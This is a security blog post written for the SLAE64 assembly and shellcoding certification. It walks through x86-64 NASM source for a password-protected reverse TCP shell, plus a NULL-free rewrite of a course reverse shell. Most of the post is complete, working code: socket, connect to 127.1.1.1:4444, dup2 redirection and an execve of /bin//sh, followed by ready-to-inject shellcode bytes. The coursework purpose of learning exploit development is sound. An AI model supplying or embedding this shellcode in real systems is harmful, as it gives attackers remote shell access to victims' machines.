Skip to main content

SLAE64 - Assignment 2

This is the second blog in the SLAE64 series as part of the certification challenge. If you want to read the previous post first, I provided a link below.

Previous Posts:

For this assignment, we had the following requirements:
  • Create a Shell_Reverse_TCP Shellcode
    • Reverse connects to configured IP and Port
    • Needs a "Passcode"
    • If Passcode is correct then Execs Shell
  • Remove 0x00 from the Reverse TCP Shellcode discussed


So, like assignment one, we need to accomplish something similar but this time instead of a Bind Shell, we'll need to make a Reverse TCP Shell. We'll also need to modify the Reverse Shell provided in the class to remove NULL bytes. The full code can be found on GitHub here: https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-2

Supplemental scripts used for various purposes can be found here: https://github.com/blu3gl0w13/SLAE64/tree/master/scripts

Similar to Assignment 1 we'll start off by creating a socket with the define __NR_socket 41 system call. In order to eliminate NULL bytes, we have to initialize all of the registers we'll need to make the system call properly. We do this with the XOR instruction using the register as the first and second operand. Once our registers are initialized properly to avoid NULL bytes, we use the MOV instruction to copy 0x29 into AL. We'll use the ADD instruction to set up the rest of the registers to hold the values of AF_INET, SOCK_STREAM, TCP. Once we issue the SYSCALL instruction, we save our SOCKFD value by putting it into RDI. Our socket is now created.

;------------------------------
; rev-shell-pass.nasm
; by Michael Born
; Student ID: SLAE64-1439
; November 7, 2016
;------------------------------


; purpose: password protected rev shell

global _start

section .text

_start:

 ; socket syscall
 ; define __NR_socket 41
 ; 

 xor rax, rax  ; initialize rax
 mov al, 0x29  ; int socket(int domain, int type, int protocol)
 xor rdi, rdi  ;
 add rdi, 0x2  ; AF_INET
 xor rsi, rsi  ;
 add rsi, 0x1  ; SOCK_STREAM
 xor rdx, rdx  ;
 add rdx, 0x6  ; TCP
 syscall   ; syscall

 ; save socketfd for later

 mov rdi, rax  ; socketfd into rdi

Unlike assignment one, we don't need to bind the socket, listen on the socket, or accept connections. We're building a reverse connection after all. With our socket created, we can now just connect to our listener. For this we'll use the define __NR_connect 42 (0x2a) system call. RAX is initialized with an XOR instruction before 0x2a is copied into AL. 0x2a is hex for 42. RDX is initialized and then 16 is moved into DL. This will be our socklen_t addrlen argument to connect. We then push a NULL byte onto the stack to prepare the const struct sockaddr *addr argument to connect.once the stack is setup using MOV instructions, we adjust the stack 8 bytes and copy the stack address into RSI. RDI already had int sockfd so we can execute our SYSCALL instruction. The last set of instructions initialize R9 in order to hold onto our SOCKFD just in case. This probably isn't necessary but I tend to be overly cautious. If I were writing this for efficient shellcode, as small as possible, I probably wouldn't keep these instructions in.

 ; define __NR_connect 42 (0x2a)
 ; struct sockaddr_in {
 ;      sa_family_t    sin_family address family: AF_INET
        ;      in_port_t      sin_port   port in network byte order 
        ;      struct in_addr sin_addr   internet address


 xor rax, rax    ; initialize rax
 mov al, 0x2a    ; int connect(int sockfd,  
                                                ; const struct sockaddr *addr, socklen_t addrlen)
 xor rdx, rdx    ; initialize rdx
 mov dl, 0x10    ; socklen_t addrlen (16)
 xor rsi, rsi    ; initialize rsi
 push rsi    ; NULL byte
 mov dword [rsp - 0x4], 0x101017f ; IP Addr 127.1.1.1
 mov word [rsp -0x6], 0x5c11  ; Port 4444
 mov dword [rsp -0xa], esi  ; null byte
 mov byte [rsp - 0x8],  0x2  ; AF_INET
 sub rsp, 0x8    ; readjust stack
 mov rsi, rsp    ; const struct sockaddr *addr
 syscall     ; syscall

 xor r9, r9
 mov r9, rdi

Once we make our connection, we'll get our password set up. This is what we will use for comparison later in the script. We initialize R14 and push it's NULL value onto the stack. We then move our password H4xx0r01 in reverse order into the same register before pushing it onto the stack. Once it's on the stack, we push the stack pointer into the same register for safe keeping since we'll need it later. Finally, we adjust the stack 16 bytes to be sure we don't accidentally overwrite the password on the stack.

With our password setup, we then redirect our SOCKFD to standard in, out, and error with the define __NR_dup2 33 system call. We did the same thing in our Bind Shell script for Assignment 1.

password:

 ; password onto stack in safe place

 xor r14, r14
 push  r14   ; NULL byte onto stack
 mov r14, 0x3130723078783448 ; '10r0xx4H'
 push r14
 mov r14, rsp   ; pointer to password on stack
 sub rsp, 0x10   ; adjust stack 16 bytes so we don't accidentally
                                        ; overwrite our password

duper:
        ; define __NR_dup2 33

        xor rax, rax
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        xor rsi, rsi            ; int newfd (0 for stdin)
        syscall                 ; syscall
        xor rax, rax            ;
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        inc rsi                 ; int newfd (now 1 for std out)
        syscall                 ; syscall
        xor rax, rax            ;
        mov al, 0x21            ; int dup2(int oldfd, int newfd)
        inc rsi                 ; int newfd (2 for stdout)
        syscall                 ; syscall

After we redirect our SOCKFD, the passprompt: code uses the define __NR_write 1 system call to write a string through the socket. This is totally unnecessary and I just used this for a sense of interactivity. Like the Bind Shell code it will ask the end user for a password. Once our registers are configured for our system call arguments, we execute the system call.

passprompt:

 ; define __NR_write 1
 ; send prompt through socket

 mov rdi, r9
 push byte 0x1
 pop rax     ; ssize_t write(int fd, const void *buf, 
                                                ;     size_t count)
 xor rsi, rsi    ; initialize rsi
 push  rsi    ; push NULL onto the stack
 mov rsi, 0x0a203a64726f7773             ; n\ :drows
 push rsi
 mov rsi, 0x7361502061207265             ; saP a re
 push rsi
 mov rsi, 0x746e452065736165             ;tnE esae
 push rsi
 push word 0x6c50   ; 'lP'
 mov rsi, rsp    ; const void *buf
 xor rdx, rdx    ;
 mov dl, 26    ; size_t count
 syscall     ; syscall

Excellent. This next block of code uses the define __NR_read 0 system call to read in the end user's input. Similar to Assignment 1, we read in 16 bytes and then place the password pointer and the entered password pointer into RDI and RSI so that we can use the CMPSQ to compare the values. If they match, the Zero Flag (ZF) will get set and we redirect program flow to our shelltime label. If it doesn't match the Zero Flag (ZF) is not set and we jump back to our passprompt label to write a string through the socket. This section acts to not only compare the values but provide feedback to the end user that their password was wrong. If it's write, we get a shell.

 ; define __NR_read 0

 xor rax, rax  ; ssize_t read(int fd, void *buf, size_t count)
 xor rsi, rsi  ; 
 push rsi
 lea rsi, [rsp -0x10]  ; pointer to buffer with entered password
 xor rdx, rdx  ; initialize rdx
 add dl, 0x10  ; size_t count
 syscall   ; syscall

passwordcheck:
 mov rdi, r14  ; password for comparison
 cmpsq   ; compare passwords
 jz shelltime  ; password valid
 jnz passprompt  ; password invalid

This block of code, executes /bin//sh -i via a define __NR_execve 59 system call. This should be pretty straight forward by now as it mimics other system calls we've made in previous blog posts before.

shelltime: 

 ; define __NR_execve 59
 ; /bin//sh -i
 ; int execve(const char *filename, char *const argv[], char *const envp[])

 xor rax, rax
 mov al, 0x3b   ; int execve(const char *filename, char *const argv[], 
                                        ; char *const envp[])
 xor rdi, rdi   ; 
 push rdi   ; NULL byte onto stack
 mov rdi, 0x68732f2f6e69622f ; 'hs//nib/'
 push rdi   ; 'hs//nib/' onto stack
 mov rdi, rsp   ; pointer to 'hs//nib/'
 xor rsi, rsi   ; 
 push rsi   ; NULL byte onto stack
 push word 0x692d  ; 'i-'
 xor r10, r10   ;
 mov r10, rsp   ; store rsp temporarily
 push rsi   ; NULL byte
 push r10   ; '-i'
 push rdi   ; 'hs//nib/'
 mov rsi, rsp   ; char *const argv[]
 xor rdx, rdx   ;
 push rdx   ; NULL byte onto stack
 mov rdx, rsp   ; char *const envp[]
 syscall    ; syscall

When we run the code we see that it's 277 bytes long. This is still considerably shorter than our Bind Shell with password.




The next part of the assignment asked us to rewrite the RevShell.nasm from the class scripts so that it didn't have any NULL bytes in it's opcode. The original script by Vivek can be found here: https://github.com/blu3gl0w13/SLAE64/blob/master/assignment-2/RevShell.nasm

Here's the adjusted version. Notice we initialize registers and use the smallest register possible for copying values so that we don't accidentally introduce NULL bytes.

;--------------------------------
; RevShell-adjusted.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
; Original code by:
; Vivek Ramachandran
; SecurityTube
;-------------------------------

global _start


_start:

 ; sock = socket(AF_INET, SOCK_STREAM, 0)
 ; AF_INET = 2
 ; SOCK_STREAM = 1
 ; syscall number 41 

 xor rax, rax
 mov al, 41
 xor rdi, rdi
 add dil, 0x2
 xor rsi, rsi
 inc rsi
 xor rdx, rdx
 syscall

 ; copy socket descriptor to rdi for future use 

 mov rdi, rax


 ; server.sin_family = AF_INET 
 ; server.sin_port = htons(PORT)
 ; server.sin_addr.s_addr = inet_addr("127.1.1.1")
 ; bzero(&server.sin_zero, 8)

 xor rax, rax 

 push rax
 
 mov dword [rsp-4], 0x101017f
 mov word [rsp-6], 0x5c11 ; 4444
 mov dword [rsp -0xa], eax
 mov byte [rsp-8], 0x2
 sub rsp, 8


 ; connect(sock, (struct sockaddr *)&server, sockaddr_len)
 
 xor rax, rax
 mov al, 42
 mov rsi, rsp
 xor rdx, rdx
 add rdx, 16
 syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
 xor rax, rax
 mov al, 33
        xor rsi, rsi
        syscall

 xor rax, rax
        mov al, 33
        inc rsi
        syscall

 xor rax, rax
        mov al, 33
        inc rsi
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

 xor rbx, rbx
        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

To be sure we don't have any NULL bytes, we need to actually dump the opcodes. Once again, we see there are no NULL bytes. Excellent. Mission accomplished.


"\x48\x31\xc0\xb0\x29\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48"
"\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x44\x24"
"\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x31\xc0\xb0\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2"
"\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48"
"\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x31\xdb\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
"\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:


http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html


Student ID: SLAE64 - 1439


Next: SLAE64 - Assignment 3

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…